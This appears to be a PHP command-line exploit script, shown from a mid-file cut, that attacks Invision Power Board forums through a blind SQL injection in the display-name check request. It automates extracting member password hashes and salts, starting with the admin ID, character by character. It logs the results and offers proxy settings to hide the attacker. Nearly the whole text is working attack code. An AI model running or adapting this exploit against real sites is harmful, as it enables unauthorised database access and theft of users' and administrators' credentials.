\n\n"); } $url = $_SERVER['argv'][1]; if(!isset($_SERVER['argv'][2])) { print("Start and End ID Not Set using 1 and 10 as DEFAULT"); $id_start = 1;// starting user ID, default value "1" is admin's ID if(!isset($_SERVER['argv'][3])){ $id_end = $id_start + 10;// ending user ID } } else { $id_start = $_SERVER['argv'][2]; $id_end = $_SERVER['argv'][3]; } if(!isset($_SERVER['argv'][4])) { print("Prefix not set reverting to default (ibf_)\n"); $prefix = 'ibf_';// IPB table prefix, default is "ibf_" } else { $prefix = $_SERVER['argv'][4]; } # Proxy settings # Be sure to use proxy //$proxy_ip_port = '127.0.0.1:8118'; //$proxy_user_password = 'someuseromepassword'; $outfile = './ipblog.txt';// Log file //================================================== ==================== /////////////////////////////////////////////////////////////////////// // Don't mess below this line, unless you know the stuff /////////////////////////////////////////////////////////////////////// //================================================== =================== /////////////////////////////////////////////////////////////////////// //================================================== =================== $cli = php_sapi_name() === 'cli'; //================================================== =================== // Warning, if executed from webserver //================================================== =================== if(!$cli) { if(!isset($_REQUEST['wtf-is-cli'])) { echo "Attention!\n"; echo "

\n"; echo "

Warning!

\n"; echo "This exploit is meant to be used as php CLI script!
\n"; echo "More information:
\n"; echo "http://www.google.com/search?hl=en&q=php+cli+windows
\n"; echo "Still, you can try to run it from webserver.
\n"; echo "Just press the button below and prepare for long waiting
\n"; echo "And learn to use php CLI next time, please ...
\n"; echo "
\n"; echo "\n"; echo "
\n"; echo "
\n"; exit; } else { // Let's try to maximize our chances without CLI @set_time_limit(0); } } //================================================== =================== xecho("Target: $url\n"); xecho("Sql table prefix: $prefix\n"); xecho("Testing target URL ... \n"); test_target_url(); xecho("Target URL seems to be valid\n"); add_line("Target: $url"); for($i = $id_start; $i <= $id_end; $i ++) { echo "Testing ID $i\n"; if(!test_target_id($i)) { echo "ID $i not valid, passing ...\n"; continue; } echo "ID $i validated\n"; $hash = get_hash($i); $salt = get_salt($i); $line = "$i:$hash:$salt"; add_line($line); xecho("\n------------------------------------------\n"); xecho("User ID: $i\n"); xecho("Hash: $hash\n"); xecho("Salt: $salt"); xecho("\n------------------------------------------\n"); } add_line("------------------------------------------"); xecho("\nQuestions and feedback - http://www.waraxe.us/ ~ http://belegit.org \n"); die("See ya! \n"); ////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////// function test_target_url() { global $url; $post = 'act=xmlout&do=check-display-name&name=somethingfoobarkind%2527 OR 1=1-- '; $buff = trim(make_post($url, $post, '', $url)); if($buff === 'notfound') { die("Target is patched? Exiting ...\n"); } if($buff !== 'found') { print("Invalid response, target URL not valid? Exiting ... \n\n"); die(); } } ////////////////////////////////////////////////////////////////////// function test_target_id($id) { global $url, $prefix; $post = 'UNION SELECT 1,1 FROM ' . $prefix . 'members_converge WHERE converge_id=' . $id . ' AND LENGTH(converge_pass_hash)=32'; return test_condition($post); } /////////////////////////////////////////////////////////////////////// function get_salt($id) { $len = 5; $out = ''; xecho("Finding salt ...\n"); for($i = 1; $i < $len + 1; $i ++) { $ch = get_saltchar($i, $id); xecho("Got pos $i --> $ch\n"); $out .= "$ch"; xecho("Current salt: $out \n"); } xecho("\nFinal salt for ID $id: $out\n\n"); return $out; } /////////////////////////////////////////////////////////////////////// function get_saltchar($pos, $id) { global $prefix; $char = ''; $min = 32; $max = 128; $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_salt,$pos,1))"; $curr = 0; while(1) { $area = $max - $min; if($area < 2 ) { $post = $pattern . "=$max"; $eq = test_condition($post); if($eq) { $char = chr($max); } else { $char = chr($min); } break; } $half = intval(floor($area / 2)); $curr = $min + $half; $post = $pattern . '%253e' . $curr; $bigger = test_condition($post); if($bigger) { $min = $curr; } else { $max = $curr; } xecho("Current test: $curr-$max-$min\n"); } return $char; } /////////////////////////////////////////////////////////////////////// function get_hash($id) { $len = 32; $out = ''; xecho("Finding hash ...\n"); for($i = 1; $i < $len + 1; $i ++) { $ch = get_hashchar($i, $id); xecho("Got pos $i --> $ch\n"); $out .= "$ch"; xecho("Current hash: $out \n"); } xecho("\nFinal hash for ID $id: $out\n\n"); return $out; } /////////////////////////////////////////////////////////////////////// function get_hashchar($pos, $id) { global $prefix; $char = ''; $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_hash,$pos,1))"; // First let's determine, if it's number or letter $post = $pattern . '%253e57'; $letter = test_condition($post); if($letter) { $min = 97; $max = 102; xecho("Char to find is [a-f]\n"); } else { $min = 48; $max = 57; xecho("Char to find is [0-9]\n"); } $curr = 0; while(1) { $area = $max - $min; if($area < 2 ) { $post = $pattern . "=$max"; $eq = test_condition($post); if($eq) { $char = chr($max); } else { $char = chr($min); } break; } $half = intval(floor($area / 2)); $curr = $min + $half; $post = $pattern . '%253e' . $curr; $bigger = test_condition($post); if($bigger) { $min = $curr; } else { $max = $curr; } xecho("Current test: $curr-$max-$min\n"); } return $char; } /////////////////////////////////////////////////////////////////////// function test_condition($p) { global $url; $bret = false; $maxtry = 10; $try = 1; $pattern = 'act=xmlout&do=check-display-name&name=%%2527 OR 1=%%2522%%2527%%2522 %s OR 1=%%2522%%2527%%2522-- '; $post = sprintf($pattern, $p); while(1) { $buff = trim(make_post($url, $post, '', $url)); if($buff === 'found') { $bret = true; break; } elseif($buff === 'notfound') { break; } elseif(strpos($buff, 'IPS Driver Error') !== false) { die("Sql error! Wrong prefix?\nExiting ... "); } else { xecho("test_condition() - try $try - invalid return value ...\n"); $try ++; if($try > $maxtry) { die("Too many tries - exiting ...\n"); } else { xecho("Trying again - try $try ...\n"); } } } return $bret; } /////////////////////////////////////////////////////////////////////// function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE) { $ch = curl_init(); $timeout = 120; curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1'); if(!empty($GLOBALS['proxy_ip_port'])) { curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']); if(!empty($GLOBALS['proxy_user_password'])) { curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']); } } if(!empty($cookie)) { curl_setopt ($ch, CURLOPT_COOKIE, $cookie); } if(!empty($referer)) { curl_setopt ($ch, CURLOPT_REFERER, $referer); } if($headers === TRUE) { curl_setopt ($ch, CURLOPT_HEADER, TRUE); } else { curl_setopt ($ch, CURLOPT_HEADER, FALSE); } $fc = curl_exec($ch); curl_close($ch); return $fc; } /////////////////////////////////////////////////////////////////////// function add_line($line) { global $outfile; $line .= "\n"; $fh = fopen($outfile, 'ab'); fwrite($fh, $line); fclose($fh); } /////////////////////////////////////////////////////////////////////// function xecho($line) { if($GLOBALS['cli']) { echo "$line"; } else { $line = nl2br(htmlspecialchars($line)); echo "$line"; } } ////////////////////////////////////////////////////////////////////// ?>